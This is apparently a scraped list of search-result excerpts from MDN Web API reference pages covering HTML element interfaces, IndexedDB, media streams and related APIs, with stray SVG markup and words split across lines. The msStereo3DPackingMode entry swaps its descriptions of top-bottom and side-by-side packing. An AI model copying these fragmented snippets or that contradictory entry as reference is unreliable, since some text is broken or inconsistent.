HTMLFieldSetElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlfieldsetelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods inherits methods
from its parent, htmlelement.
...if this message is not the empty string, then the field set is suffering
from a custom validity error, and does not validate.
HTMLFontElement - Web APIs
properties inherits properties
from its parent, htmlelement.
... htmlfontelement.size is a domstring that reflects the size html attribute, containing either a font size number ranging
from 1 to 7 or a relative size to the size attribute of the <basefont> element, for example -2 or +1.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLHRElement - Web APIs
" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlhrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLHeadElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... recommendation no change
from html5.
HTMLHeadingElement - Web APIs
it inherits methods and properties
from the htmlelement interface.
...get="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlheadingelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
HTMLHyperlinkElementUtils.hash - Web APIs
the htmlhyperlinkelementutils.hash property returns a usvstring containing a '#' followed by the
fragment identifier of the url.
... the
fragment is not percent-decoded.
... if the url does not have a
fragment identifier, this property contains an empty string, "".
contentDocument - Web APIs
if the i
frame and the i
frame's parent document are same origin, returns a document (that is, the active document in the inline
frame's nested browsing context), else returns null.
... example of contentdocument var i
framedocument = document.getelementsbytagname("i
frame")[0].contentdocument; i
framedocument.body.style.backgroundcolor = "blue"; // this would turn the i
frame blue.
... specifications specification status comment html living standardthe definition of 'htmli
frameelement: contentdocument' in that specification.
HTMLImageElement.alt - Web APIs
html in the html for this example, shown below, the <img> element includes the alt property, which will prevent the image
from having any alternate text, since it's simply a decorational detail.
... html the html below creates a snippet of content
from a site using the described icon.
... unknown browser compatibility the compatibility table on this page is generated
from structured data.
HTMLImageElement.crossOrigin - Web APIs
this means that cors is enabled and credentials are sent if the image is fetched
from the same origin
from which the document was loaded.
... use-credentials requests by the htmlimageelement will use the cors mode and the include credentials mode; all image requests by the element will use cors, regardless of what domain the fetch is
from.
... unknown browser compatibility the compatibility table on this page is generated
from structured data.
HTMLImageElement.isMap - Web APIs
usage notes when an image marked as being part of a server-side image map is clicked, the browser constructs the string "?x,y", where x and y indicate the coordinates at which the mouse was clicked as offsets
from the top-left corner of the image, specified in css pixels.
... the browser then fetches that url
from the server and displays or downloads it depending on the value of the download attribute.
... living standard browser compatibility the compatibility table on this page is generated
from structured data.
HTMLImageElement.sizes - Web APIs
living standard browser compatibility the compatibility table on this page is generated
from structured data.
...or androidopera for androidsafari on iossamsung internetsizes experimentalchrome full support 45edge full support 13firefox full support 38 full support 38 no support 33 — 52disabled disabled
from version 33 until version 52 (exclusive): this feature is behind the dom.image.picture.enabled preference (needs to be set to true).
... no support nowebview android full support 45chrome android full support 45firefox android full support 38 full support 38 no support 33 — 52disabled disabled
from version 33 until version 52 (exclusive): this feature is behind the dom.image.picture.enabled preference (needs to be set to true).
HTMLInputElement.setSelectionRange() - Web APIs
this lets you indicate, for example, that the selection was set by the user clicking and dragging
from the end of the selected text toward the beginning.
...chrome, starting
from version 33, throws an exception while accessing those properties and method on the rest of input types.
... for example, on input of type number: "failed to read the 'selectionstart' property
from 'htmlinputelement': the input element's type ('number') does not support selection".
HTMLIsIndexElement - Web APIs
properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmlisindexelement' in that specification.
HTMLLIElement - Web APIs
" target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllielement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLMapElement - Web APIs
target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmapelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement .
... obsolete no change
from document object model (dom) level 1 specification.
HTMLMediaElement.srcObject - Web APIs
the object can be a mediastream, a mediasource, a blob, or a file (which inherits
from blob).
... examples basic example in this example, a mediastream
from a camera is assigned to a newly-created <video> element.
... first, a mediastream
from a camera is assigned to a newly-created <video> element, with fallback for older browsers.
HTMLMediaElement.textTracks - Web APIs
you can detect when tracks are added to and removed
from an <audio> or <video> element using the addtrack and removetrack events.
...instead, they're sent to the track list object of the htmlmediaelement that corresponds to the type of track that was added to the element the returned list is live; that is, as tracks are added to and removed
from the media element, the list's contents change dynamically.
... living standard no change
from html5 html5the definition of 'htmlmediaelement.texttracks' in that specification.
HTMLMediaElement: timeupdate event - Web APIs
the event
frequency is dependant on the system load, but will be thrown between about 4hz and 66hz (assuming the event handlers don't take longer than 250ms to run).
... user agents are encouraged to vary the
frequency of the event based on the system load and the average cost of processing the event each time, so that the ui updates are not any more
frequent than the user agent can comfortably handle while decoding the video.
...remember, the event
frequency is dependant on the system load.
HTMLMetaElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmetaelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLOListElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlolistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLObjectElement - Web APIs
rget="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlobjectelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods inherits methods
from its parent, htmlelement.
...if this message is not the empty string, then the element is suffering
from a custom validity error, and does not validate.
HTMLOrForeignElement.tabIndex - Web APIs
navigation proceeds
from the lowest tabindex to the highest tabindex.
... living standard no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLParagraphElement - Web APIs
t="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparagraphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific methods, inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLParamElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific methods, inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLPreElement - Web APIs
target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpreelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLSelectElement.type - Web APIs
living standard no change
from html5, the latest snapshot.
...no change
from document object model (dom) level 2 html specification.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLSpanElement - Web APIs
the htmlspanelement interface represents a <span> element and derives
from the htmlelement interface, but without implementing any additional properties or methods.
...th="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties, but inherits properties
from: htmlelement.
... methods this interface has no methods, but inherits methods
from: htmlelement.
HTMLStyleElement - Web APIs
it inherits properties and methods
from its parent, htmlelement, and
from linkstyle.
...arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement, and implements linkstyle.
... methods no specific method; inherits properties
from its parent, htmlelement, and linkstyle.
HTMLTableElement.caption - Web APIs
living standard no change
from html5 html5the definition of 'htmltableelement.caption' in that specification.
... recommendation no change
from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.caption' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.caption' in that specification.
HTMLTableElement.tFoot - Web APIs
living standard no change
from html5 html5the definition of 'htmltableelement.tfoot' in that specification.
... recommendation no change
from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.tfoot' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.tfoot' in that specification.
HTMLTableElement.tHead - Web APIs
living standard no change
from html5 html5the definition of 'htmltableelement.thead' in that specification.
... recommendation no change
from document object model (dom) level 2 html specification document object model (dom) level 2 html specificationthe definition of 'htmltableelement.thead' in that specification.
... obsolete no change
from document object model (dom) level 1 specification document object model (dom) level 1 specificationthe definition of 'htmltableelement.thead' in that specification.
HTMLTableRowElement - Web APIs
et="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...'.' for english, or ',' for
french.
... methods inherits methods
from its parent, htmlelement.
HTMLTableSectionElement - Web APIs
_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
...'.' for english, or ',' for
french.
... methods inherits methods
from its parent, htmlelement.
HTMLTimeElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltimeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... recommendation no change
from html5.
HTMLUListElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlulistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... obsolete no change
from document object model (dom) level 1 specification.
HTMLVideoElement.getVideoPlaybackQuality() - Web APIs
the htmlvideoelement method getvideoplaybackquality() creates and returns a videoplaybackquality object containing metrics including how many
frames have been lost.
... example this example updates an element to indicate the total number of video
frames that have elapsed so far in the playback process.
... this value includes any dropped or corrupted
frames, so it's not the same as "total number of
frames played." var videoelem = document.getelementbyid("my_vid"); var counterelem = document.getelementbyid("counter"); var quality = videoelem.getvideoplaybackquality(); counterelem.innertext = quality.totalvideo
frames; specifications specification status comment media playback qualitythe definition of 'htmlvideoelement.getvideoplaybackquality()' in that specification.
msStereo3DPackingMode - Web APIs
msstereo3dpackingmode is a read/write property which gets or sets the
frame-packing mode for stereo 3-d video content.
... topbottom (1): specifies stereo 3-d content packing and that the views are packed side-by-side in a single
frame.
... sidebyside (2): specifies sidebyside stereo 3-d content packing and that the views are packed top-to-bottom in a single
frame.
HTMLVideoElement.videoHeight - Web APIs
if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster
frame size information is yet available.
... if the element is currently displaying the poster
frame rather than rendered video, the poster
frame's intrinsic size is considered to be the size of the <video> element.
...this can happen when the element switches
from displaying the poster
frame to displaying video content, or when the displayed video track changes.
HTMLVideoElement.videoWidth - Web APIs
if the element's readystate is htmlmediaelement.have_nothing, then the value of this property is 0, because neither video nor poster
frame size information is yet available.
... if the element is currently displaying the poster
frame rather than rendered video, the poster
frame's intrinsic size is considered to be the size of the <video> element.
...this can happen when the element switches
from displaying the poster
frame to displaying video content, or when the displayed video track changes.
HashChangeEvent - Web APIs
the hashchangeevent interface represents events that fire when the
fragment identifier of the url has changed.
... the
fragment identifier is the part of the url that follows (and includes) the # symbol.
... hashchangeevent.oldurl read only the previous url
from which the window was navigated.
Ajax navigation example - Web APIs
"</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts
from <strong>first_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>first_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts
from <strong>first_page.php</strong>.</p> <?php incl...
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts
from <strong>second_page.php</strong>.</p> <div id="ajax-content"> <?php } ?> <p>this is the content of <strong>second_page.php</strong>.</p> <?php if ($as_json) { echo json_encode(array("page" => $page_title, "content" => ob_get_clean())); } else { ?> </div> <p>this paragraph is shown only when the navigation starts
from <strong>second_page.php</strong>.</p> <?php i...
..."</title>"; ?> </head> <body> <?php include "include/before_content.php"; ?> <p>this paragraph is shown only when the navigation starts
from <strong>third_page.php</strong>.</p> <div id="ajax-content"> <?php echo $page_content; ?> </div> <p>this paragraph is shown only when the navigation starts
from <strong>third_page.php</strong>.</p> <?php include "include/after_content.php"; echo "</body>\n</html>"; } ?> css/style.css: #ajax-loader { position: fixed; display: table; top: 0; left: 0; ...
History API - Web APIs
similarly, you can move forward (as if the user clicked the forward button), like this: window.history.forward() moving to a specific point in history you can use the go() method to load a specific page
from session history, identified by its relative position to the current page.
... another use for the go() method is to re
fresh the current page by either passing 0, or by invoking it without an argument: // the following statements // both have the effect of // re
freshing the page window.history.go(0) window.history.go() you can determine the number of pages in the history stack by looking at the value of the length property: let numberofentries = window.history.length interfaces history allows manipulation of the browser session history (that is, the pages visited in the tab or
frame that ...
... living standard no change
from html5.
IDBCursor.advance() - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through the records in the object store.
... note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor.continue() - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor.continuePrimaryKey() - Web APIs
calling this method more than once before new cursor data has been loaded - for example, calling continueprimarykey() twice
from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset.
... this method is only valid for cursors coming
from an index.
... using it for cursors coming
from an object store will throw an error.
IDBCursor.direction - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor.key - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor.primaryKey - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBCursor.source - Web APIs
example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBDatabase.onversionchange - Web APIs
this is different
from the versionchange transaction (but it is related).
..."day", "day", { unique: false }); objectstore.createindex("month", "month", { unique: false }); objectstore.createindex("year", "year", { unique: false }); objectstore.createindex("notified", "notified", { unique: false }); note.innerhtml += '<li>object store created.</li>'; db.onversionchange = function(event) { note.innerhtml += '<li>a database change has occurred; you should re
fresh this browser window, or close it down and use the other open version of this application, wherever it exists.</li>'; }; }; specifications specification status comment indexed database api 2.0the definition of 'onversionchange' in that specification.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBFactory.deleteDatabase() - Web APIs
if the database is successfully deleted, then a success event is fired on the request object returned
from this method, with its result set to undefined.
... if an error occurs while the database is being deleted, then an error event is fired on the request object that is returned
from this method.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBKeyRange - Web APIs
records can be retrieved
from idbobjectstore and idbindex objects using keys or a range of keys.
...nd("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.fthing + '</strong>, ' + cursor.value.
frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status comment indexed database api 2.0the definition of 'idbkeyrange' in that specification.
... browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.delete() - Web APIs
either a key or an idbkeyrange can be passed, allowing one or multiple records to be deleted
from a store.
...this is used a lot below db = dbopenrequest.result; // run the deletedata() function to delete a record
from the database deletedata(); }; function deletedata() { // open a read/write db transaction, ready for deleting the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerr...
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.deleteIndex() - Web APIs
note that this method must be called only
from a versionchange transaction mode callback.
... return value undefined exceptions this method may raise a domexception of one of the following types: exception description invalidstateerror occurs if the method was not called
from a versionchange transaction mode callback.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBObjectStore.put() - Web APIs
from idbcursor.primarykey).
... example the following example requests a given record title; when that request is successful the onsuccess function gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store in another request with put().
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
IDBRequest.error - Web APIs
in chrome 48+/firefox 58+ this property returns a domexception because domerror has been removed
from the dom standard.
... example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
ImageCapture() constructor - Web APIs
syntax const imagecapture = new imagecapture(videotrack) parameters videotrack a mediastreamtrack
from which the still images will be taken.
... this can be any source, such as an incoming stream of a video conference, a playing movie, or the stream
from a webcam.
... return value a new imagecapture object which can be used to capture still
frames
from the specified video track.
InputEvent - Web APIs
properties this interface inherits properties
from its parents, uievent and event.
... inputevent.datatransferread only returns a datatransfer object containing information about richtext or plaintext data being added to or removed
from editable content.
... methods this interface inherits methods
from its parents, uievent and event.
InstallTrigger - Web APIs
the installtrigger interface is an interesting outlier in the apps api; it's included in this api but are inherited
from the old mozilla xpinstall technology for installing add-ons.
... it is used for triggering the download and installation of an add-on (or anything packaged in an .xpi file)
from a web page, using javascript code to kick off the install process.
... getversion returns an object representing the version number
from the client version registry for the specified component.
KeyboardEvent - Web APIs
keyboard locations the following constants identify which part of the keyboard the key event originates
from.
... dom_key_location_numpad 0x03 the key is located on the numeric keypad, or is a virtual key associated with the numeric keypad if there's more than one place the key could originate
from.
...in the case of ui events, this is important for security reasons, as it prevents scripts
from simulating user actions that interact with the browser itself.
Location: hash - Web APIs
the hash property of the location interface returns a usvstring containing a '#' followed by the
fragment identifier of the url.
... the
fragment is not percent-decoded.
... if the url does not have a
fragment identifier, this property contains an empty string, "".
Location: reload() - Web APIs
the location.reload() method reloads the current url, like the re
fresh button.
...this happens if the origin of the script calling location.reload() differs
from the origin of the page that owns the location object.
... living standard no change
from html5.
Location: replace() - Web APIs
the difference
from the assign() method is that after using replace() the current page will not be saved in session history, meaning the user won't be able to use the back button to navigate to it.
...this happens if the origin of the script calling the method is different
from the origin of the page originally described by the location object, mostly when the script is hosted on a different domain.
... living standard no change
from html5.
Long Tasks API - Web APIs
the 50 ms threshold comes
from the rail model, in particular the "response: process events in under 50 ms" section.
... culprit browsing context container the "culprit browsing context container", or "the container" for short, is the top level page, i
frame, embed or object that the task occurred within.
... taskattributiontiming returns information about the work involved in a long task and its associate
frame context.
MSGestureEvent - Web APIs
msgestureevent derives
from uievent, which in turn derives
from event.
... msgestureevent.scale read only the difference in scale (for zoom gestures)
from the previous msgestureevent of the current gesture.
... browser compatibility the compatibility table on this page is generated
from structured data.
MSSiteModeEvent - Web APIs
bubbles gets a value that indicates whether an event propagates up
from the event target.
... cancelbubble gets or sets a value that indicates whether an event should be stopped
from propagating up
from the current target.
... although this event inherits
from the event object, it cannot be created by using createevent.
MediaConfiguration - Web APIs
video configurations mush include a valid video mime type as contenttype, the bitrate, and
framerate, along with the width and the height of the video file.
...
framerate: number of
frames making up one second of video playback.
... example //create a video configuration to be tested const videodecoderconfig = { type : 'file', // 'record', 'transmission', or 'media-source' video : { contenttype : "video/webm;codecs=vp8", // valid content type width : 800, // width of the video height : 600, // height of the video bitrate : 10000, // number of bits used to encode 1s of video
framerate : 30 // number of
frames making up that 1s.
MediaDevices - Web APIs
properties inherits properties
from its parent interface, eventtarget.
... events devicechange fired when a media input or output device is attached to or removed
from the user's computer.
... methods inherits methods
from its parent interface, eventtarget.
MediaKeyMessageEvent - Web APIs
properties inherits properties
from its parent, event.
... mediakeymessageevent.message read only returns an arraybuffer with a message
from the content decryption module.
... methods inherits methods
from its parent, event.
MediaQueryList - Web APIs
properties the mediaquerylist interface inherits properties
from its parent interface, eventtarget.
... methods the mediaquerylist interface inherits methods
from its parent interface, eventtarget.
... removelistener() removes the specified listener callback
from the callbacks to be invoked when the mediaquerylist changes media query status, which happens any time the document switches between matching and not matching the media queries listed in the mediaquerylist.
MediaRecorder - Web APIs
if this attribute is false, mediarecorder will record silence for audio and black
frames for video.
...this may differ
from the bit rate specified in the constructor (if it was provided).
...this may differ
from the bit rate specified in the constructor (if it was provided).
MediaSession.setActionHandler() - Web APIs
media session actions a media session action's type is specified using a string
from the mediasessionaction enumerated type.
... seekbackward seeks backward through the media
from the current position.
... seekforward seeks forward
from the current position through the media.
MediaSource - Web APIs
methods inherits methods
from its parent interface, eventtarget.
... mediasource.removesourcebuffer() removes the given sourcebuffer
from the mediasource.sourcebuffers list.
...this example was written by nick desaulniers and can be viewed live here (you can also download the source for further investigation.) var video = document.queryselector('video'); var asseturl = '
frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info
frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource(); //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeve...
MediaStreamAudioDestinationNode - Web APIs
the mediastreamaudiodestinationnode interface represents an audio destination consisting of a webrtc mediastream with a single audiomediastreamtrack, which can be used in a similar way to a mediastream obtained
from navigator.getusermedia.
... properties inherits properties
from its parent, audionode.
... methods inherits methods
from its parent, audionode.
MediaStreamTrack.stop() - Web APIs
it is instead disassociated
from the track and the track object is stopped.
... function stopstreamedvideo(videoelem) { const stream = videoelem.srcobject; const tracks = stream.gettracks(); tracks.foreach(function(track) { track.stop(); }); videoelem.srcobject = null; } this works by obtaining the video element's stream
from its srcobject property.
...
from there, all that remains to do is to iterate over the track list using foreach() and calling each track's stop() method.
MediaStreamTrack - Web APIs
this happens when the peeridentity property is set, or if the track comes
from a cross-origin source.
...it doesn't change if the track is deassociated
from its source.
...when the track is deassociated
from its source, the label is not changed.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
the mediastreamtrackaudiosourceoptions dictionary's mediastreamtrack property must contain a reference to the mediastreamtrack
from which the mediastreamtrackaudiosourcenode being created using the mediastreamtrackaudiosourcenode() constructor.
... syntax mediastreamtrackaudiosourceoptions = { mediastreamtrack: audiosourcetrack; } mediastreamtrackaudiosourceoptions.mediastreamtrack = audiosourcetrack; value a mediastreamtrack
from which the audio output of the new mediastreamtrackaudiosourcenode will be taken.
... example this example uses getusermedia() to obtain access to the user's camera, then creates a new mediastreamaudiosourcenode
from the first audio track provided by the device.
MediaStreamTrackEvent() - Web APIs
the mediastreamtrackevent() constructor returns a newly created mediastreamtrackevent object, which represents an event announcing that a mediastreamtrack has been added to or removed
from a mediastream.
... syntax var trackevent = new mediastreamtrackevent(type, {track: amediastreamtrack}); parameters the mediastreamtrackevent() constructor also inherits arguments
from event().
... track a mediastreamtrack object representing the track which was added to or removed
from the stream.
MediaStreamTrackEvent - Web APIs
the mediastreamtrackevent interface represents events which indicate that a mediastream has had tracks added to or removed
from the stream through calls to media stream api methods.
...roke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">mediastreamtrackevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} the events based on this interface are addtrack and removetrack properties also inherits properties
from its parent interface, event.
... methods also inherits methods
from its parent event.
MediaStream Image Capture API - Web APIs
the mediastream image capture api is an api for capturing images or videos
from a photographic device.
...the example code is adapted
from chrome's image capture examples.
... let imagecapture = new imagecapture(track); interfaces imagecapture an interface for capturing images
from a photographic device referenced through a valid mediastreamtrack.
Recording a media element - Web APIs
note that the autoplay attribute is used so that as soon as the stream starts to arrive
from the camera, it immediately gets displayed, and the muted attribute is specified to ensure that the sound
from the user's microphone isn't output to their speakers, causing an ugly feedback loop.
